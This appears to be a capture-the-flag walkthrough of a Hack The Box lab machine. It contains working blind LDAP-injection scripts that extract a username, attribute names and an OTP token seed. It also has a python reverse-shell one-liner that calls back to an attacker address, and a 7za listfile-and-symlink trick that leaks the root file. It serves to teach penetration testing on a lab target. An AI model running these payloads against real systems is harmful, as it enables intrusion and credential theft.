HTB CTF

10.10.10.122 | 50 pts | Synack Track | Ticket Master Badge

PART 1 : Initial Recon

1.1 NMAP SCAN

$ nmap --min-rate 700 -p- -v 10.10.10.122

  PORT   STATE SERVICE
  22/tcp open  ssh
  80/tcp open  http
  
$ nmap -oN ctf.nmap -p22,80 -sC -sV -v 10.10.10.122

  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
  | ssh-hostkey: 
  |   2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
  |   256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
  |_  256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
  80/tcp open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
  | http-methods: 
  |   Supported Methods: GET HEAD POST OPTIONS TRACE
  |_  Potentially risky methods: TRACE
  |_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
  |_http-title: CTF

PART 2 : Port Enumeration

2.1 TCP PORT 80 : HTTP

Visiting http://10.10.10.122:

The site is protected against bruteforcing which means automated tools are not an efficient option. Looking at /login.php:

Page Source (/login.php):

...
<form action="/login.php" method="post">
  <div class="form-group row">
    <div class="col-sm-10">
    </div>
  </div>
  <div class="form-group row">
    <label for="inputUsername" class="col-sm-2 col-form-label">Username</label>
    <div class="col-sm-10">
      <input type="text" class="form-control" id="inputUsename" name="inputUsername" placeholder="Username">
    </div>
  </div>
  <div class="form-group row">
    <label for="inputOTP" class="col-sm-2 col-form-label">OTP</label>
    <div class="col-sm-10">
      <input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password">
      <!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
      <!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) -->
    </div>
  </div>
  <div class="form-group row">
    <div class="col-sm-10">
      <button type="submit" class="btn btn-primary  name=" submit"="" value="Login">Login</button>
    </div>
  </div>
</form>
...

NOTE(S):

An error message pops up when guessing the Username input:

<div class="col-sm-10">User test not found</div>

Now, testing for possible injection -- inputUsername=%3D (%3D is "=") and no error message popped up.

  • !, &, *, (, ), \, |, <, and > also doesn't return an error message

These are special characters in LDAP so maybe these characters are being filtered out by /login.php. It is also important to note that a token string for the OTP is stored in a pre-existing attribute so the login might actually be validated using LDAP.

PART 3 : EXPLOITATION

3.1 LDAP Blind Injection

Attempt exploitation using LDAP Injection using a wildcard "*" as a payload:

inputUsername=%2A

The following response was given by the server:

<div class="col-sm-10">Cannot login</div>

This error message means we have a valid username and that the injection has worked. Now attempting to extract a real valid user using python:

import requests as r
import urllib.parse as u

username = ""
char_list = "abcdefghijklmnopqrstuvwxyz0123456789"
while True:
  for i in range(0, len(char_list)):

      ldap_injection = "%s%c*" % (username, char_list[i])
      data = { "inputUsername": u.quote(ldap_injection) }
      req = r.post("http://10.10.10.122/login.php", data=data)

      if "Cannot login" in req.text:
          username = username + char_list[i]
          print(username)
          break

  if i == len(char_list) - 1 : break

print("[x] THE USERNAME IS " + username)

Run using python3 and a user, ldapuser, has been extracted:

l
ld
lda
ldap
ldapu
ldapus
ldapuse
ldapuser
[x] THE USERNAME IS ldapuser

Now finding all available/usable LDAP Attributes using ldap_attribute_list.txt (copied from ldap-brute from GitHub):

import requests as r
import urllib.parse as u

attribute_list = open("/usr/share/wordlists/ldap_attribute_names.txt", "r")

attributes = []
for i in attribute_list:

  ldap_injection = "ldapuser))(&(%s=*" % (i[:-1])

  data = { "inputUsername": u.quote(ldap_injection) }
  req = r.post("http://10.10.10.122/login.php", data=data)

  if "Cannot login" in req.text:
      print(ldap_injection)
      attributes.append(i[:-1])

attribute_list.close()

Run using python3 and the following were returned -- userPassword, pager, and objectClass might be of interest:

ldapuser))(&(cn=*
ldapuser))(&(commonName=*
ldapuser))(&(gidNumber=*
ldapuser))(&(homeDirectory=*
ldapuser))(&(loginShell=*
ldapuser))(&(mail=*
ldapuser))(&(name=*
ldapuser))(&(objectClass=*
ldapuser))(&(pager=*
ldapuser))(&(shadowLastChange=*
ldapuser))(&(shadowMax=*
ldapuser))(&(shadowMin=*
ldapuser))(&(shadowWarning=*
ldapuser))(&(sn=*
ldapuser))(&(surname=*
ldapuser))(&(uid=*
ldapuser))(&(uidNumber=*
ldapuser))(&(userPassword=*

Extracting the contents of userPassword:

import requests as r
import urllib.parse as u

token = ""
while True:

  if len(token) % 3 == 0 :
      attribute_value = bytes.fromhex(str(token.replace("\\", ""))).decode('utf-8')
      print(attribute_value)
      token += "\\"

      if len(attribute_value[19:])==86: break

  for x in range(15,-1,-1):

      if len(attribute_value[19:])==85 and len(token) % 3 == 2 :
          if x==0: token = token + "0"

      payload = "ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:="
      ldap_injection = payload + "%s%cf" % (token, hex(x)[-1])

      if ldap_injection[-3:] == "0ff":
          hex_val = "0x" + ldap_injection[-6:-4]
          token = token[:-4] + hex(int(hex_val, 16) + 1)[-2:] + "\\"
          ldap_injection = payload + "%s%cf" % (token, hex(x)[-1])

      data = { "inputUsername": u.quote(ldap_injection) }
      req = r.post("http://10.10.10.122/login.php", data=data)

      if x==0 and len(token) % 3 == 2 : token = token[:-1] + str(int(token[-1]) - 1) + "0"
      elif "Cannot login" not in req.text:
          if len(token) % 3 == 2 : token = token + hex(x)[-1]
          else: token = token + hex(x+1)[-1]
          break

Run using python3:

{
{c
{cr
{cry
{cryp
{crypt
{crypt|
{crypt}#
{crypt}$5
...
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G-
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.
...
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi23
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi245
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi246
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi2460

The userPassword attribute is a bit special:

Octet string matching rules are very simple rules that perform byte-by-byte comparisons of octet string 
values. All capitalization and spacing is considered significant.

So with ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:=, a simple wildcard comparison won't do:

octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit 
comparison (in big endian ordering) of two octet string values until a difference is found. The first 
case in which a zero bit is found in one value but a one bit is found in another will cause the value 
with the zero bit to be considered less than the value with the one bit.

A sha512crypt hash was extracted but this seems to be a RABBIT HOLE. But the pager attribute seems promising:

import requests as r
import urllib.parse as u

token = ""
while( len(token)!=81 ):
    for i in range(0,10):

        ldap_injection = "ldapuser))(&(pager=%s%d*" % (token, i)
        data = { "inputUsername": u.quote(ldap_injection) }
        req = r.post("http://10.10.10.122/login.php", data=data)

        if "Cannot login" in req.text:
            token = token + str(i)
            print(token)
            break

print("[x] THE TOKEN IS " + token)

Run using python3 and it seems like the attribute contains the token which is a Pure Numeric CTF (Compressed Token Format) string:

2
28
285
2854
28544
285449
2854494
28544949
285449490
2854494900
...
28544949001135715653165154565233557071316741144572714
285449490011357156531651545652335570713167411445727140
2854494900113571565316515456523355707131674114457271406
28544949001135715653165154565233557071316741144572714060
285449490011357156531651545652335570713167411445727140604
2854494900113571565316515456523355707131674114457271406041
...
28544949001135715653165154565233557071316741144572714060417214145671110271671700
285449490011357156531651545652335570713167411445727140604172141456711102716717000
[x] THE TOKEN IS 285449490011357156531651545652335570713167411445727140604172141456711102716717000

3.2 OTP Generation

Generate an OTP using the token string with stoken:

$ stoken import --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000

  Enter new password: 
  Confirm new password: 

$ stoken tokencode

  Enter PIN:
  PIN must be 4-8 digits.  Use '0000' for no PIN.
  Enter PIN: 0000
  83502926

Login using the credentials found/generated (ldapuser:83502926) then you are redirected to /page.php:

Page Source (/page.php):

...
<form action="/page.php" method="post" >
  <div class="form-group row">
    <div class="col-sm-12">
        </div>
  </div>
  <div class="form-group row">
    <label for="inputCmd" class="col-sm-2 col-form-label">Cmd</label>
    <div class="col-sm-10">
      <input type="text" class="form-control" id="inputCmd" name="inputCmd" placeholder="Command to issue">
    </div>
  </div>
  <div class="form-group row">
    <label for="inputOTP" class="col-sm-2 col-form-label">OTP</label>
    <div class="col-sm-10">
      <input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password">
      <!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
    </div>
  </div>
  <div class="form-group row">
    <div class="col-sm-10">
      <button type="submit" class="btn btn-primary  name="submit" value="Submit">Submit</button>
    </div>
  </div>
</form>
...

An error message pops up when fuzzing the inputCmd's input:

<div class="col-sm-10">User must be member of root or adm group and have a registered token to issue commands on this server</div>

There was a gidNumber back during bruteforcing the available LDAP attributes:

  • root and adm has group numbers 0 and 4 respectively

  • Maybe ldapuser's group number could be added to the check done by /page.php

Maybe the group restriction could be bypassed by passing an LDAP injection as a username like ldapuser))(|(gidNumber:2.5.13.14:=1000when loggin in:

USERNAME

PASSWORD

ldapuser%29%29%28%7C%28gidNumber%3A2.5.13.14%3A%3D1000

Generate an OTP using stoken

Checking if ldapuser's GID is ineed 1000:

import requests as r
import urllib.parse as u

for i in range(1000, 1050):
    ldap_injection = "ldapuser))(|(gidNumber:2.5.13.14:=%d" % (i)
    data = { "inputUsername": u.quote(ldap_injection) }
    req = r.post("http://10.10.10.122/login.php", data=data)

    if "Cannot login" in req.text: break

print("[x] ldapuser's gidNumber : " + str(i))

The script returned the following --[x] ldapuser's gidNumber : 1000

According to Microsoft, gidNumber has an Enumeration Syntax with a Matching Rule

Integer Matching
...
integerMatch (OID 2.5.13.14): An equality matching rule that will consider two integer values 
equivalent if they represent the same number.

Using the new username, The group restriction no longer applies.

PART 4 : Generate User Shell

4.1 Reverse Shell as apache

On the local machine:

nc -lvp 4444

Sending a reverse shell on /page.php:

inputCmd

inputOTP

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.62",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Generate an OTP using stoken

While inside the reverse shell:

$ id

  uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

$ cat /etc/passwd | grep bash

  root:x:0:0:root:/root:/bin/bash
  ldapuser:x:1000:1000::/home/ldapuser:/bin/bash

$ ls -lah

  [...omitted...]
  -rw-r-----. 1 root   apache 5.0K Oct 23  2018 login.php
  -rw-r-----. 1 root   apache   68 Oct 23  2018 logout.php
  -rw-r-----. 1 root   apache 5.2K Oct 23  2018 page.php
  [...omitted...]

$ cat login.php

  [...omitted...]
  $username = 'ldapuser';
  $password = 'e398e27d5c4ad45086fe431120932a01';
  [...omitted...]

4.2 SSH as ldapuser

Login as ldapuser via ssh:

$ ssh -l ldapuser 10.10.10.122

ldapuser@10.10.10.122's password: e398e27d5c4ad45086fe431120932a01

ldapuser shell:

$ id

  uid=1000(ldapuser) gid=1000(ldapuser) groups=1000(ldapuser) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

$ cat user.txt

  74a8e86f3f6ecd8010a660cfb44ee585

PART 5 : Privilege Escalation (ldapuser -> root)

5.1 honeypot.sh

Enumerating the system using ldapuser shell:

$ ls -lah /

  [...omitted...]
  drwxr-xr-x.   2 root root 4.0K Jun 18 20:16 backup
  [...omitted...]

$ ls -lah /backup

  [...omitted...]
  -rw-r--r--.  1 root root   32 Jun 18 20:13 backup.1560881581.zip
  -rw-r--r--.  1 root root   32 Jun 18 20:14 backup.1560881641.zip
  -rw-r--r--.  1 root root   32 Jun 18 20:15 backup.1560881701.zip
  -rw-r--r--.  1 root root   32 Jun 18 20:16 backup.1560881761.zip
  -rw-r--r--.  1 root root   32 Jun 18 20:17 backup.1560881821.zip
  -rw-r--r--.  1 root root    0 Jun 18 20:17 error.log
  -rwxr--r--.  1 root root  975 Oct 23  2018 honeypot.sh

There is a script named honeypot.sh and backup files seem to be generated every minute:

# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt

# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')

# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f

# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- * 

# cleaup the honeypot
rm -rf -- *

# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log

Breakdown of honeypot.sh:

ls -1t *.zip | tail -n +11 | xargs rm -f

  • Keeps a maximum of 10 most recent backups in /backup.

7za a /backup/$filename.zip -t7z -snl -p$pass -- *

  • Backs everything up in /var/www/html/uploads

  • The backups are password-protected and running pspy doesn't show when 7za is run which means that the password can't be intercepted.

  • The -- switch protects 7za from wildcard injection.

rm -rf -- *

  • Everything in /var/www/html/uploads are deleted after backup.

truncate -s 0 /backup/error.log

  • Errors generated (maybe) are deleted after everything

5.2 7za listfiles

Leveraging honeypot.sh by exploiting what 7za can do:

$ 7za --help

  [...omitted...]
  Usage: 7za <command> [<switches>...] <archive_name> [<file_names>...] [<@listfiles...>]
  [...omitted...]
  <Switches>
    -- : Stop switches parsing
  [...omitted...]
    -snl : store symbolic links as links
  [...omitted...]
    -t{Type} : Set type of archive
  [...omitted...]

Since all switches after -- will be ignored meaning wildcard injection is no longer a viable option but, [<@listfiles...>] could still be controlled

  • @ references to a listfile

  • A listfile contains one file per line

  • Using absolute paths are helpful

  • 7za will archive the files in the listfile

To leverage @listfiles, write a file to /var/www/html/uploads:

$ cd /var/www/html/uploads

$ ls -la
  
  ls: cannot open directory .: Permission denied

$ ls -lah ../
  
  [...omitted...]
  drwxr-x--x. 2 apache apache    6 Oct 23  2018 uploads

The reverse shell from earlier has a user apache so the permissions could be changed using /page.php

inputCmd

inputOTP

chmod 777 /var/www/html/uploads

Generate an OTP using stoken

Now, create relevant files:

$ cd /var/www/html/uploads

$ touch @list

$ ln -s /root/root.txt list

$ ls -lah

  drwxrwxrwx. 2 apache   apache    31 Jun 18 21:42 .
  drwxr-xr-x. 6 root     root     176 Oct 23  2018 ..
  lrwxrwxrwx. 1 ldapuser ldapuser  14 Jun 18 21:42 list -> /root/root.txt
  -rw-rw-r--. 1 ldapuser ldapuser   0 Jun 18 21:42 @list

Since list is not a valid listfile, an error will be thrown. Attempting to capture /backup/error.log before contents are truncated by honeypot.sh:

$ while ! [ -s /backup/error.log ]; do : ; done; cat /backup/error.log

  WARNING: No more files
  fd6d2e53c995e6928cd0f040c79ba053
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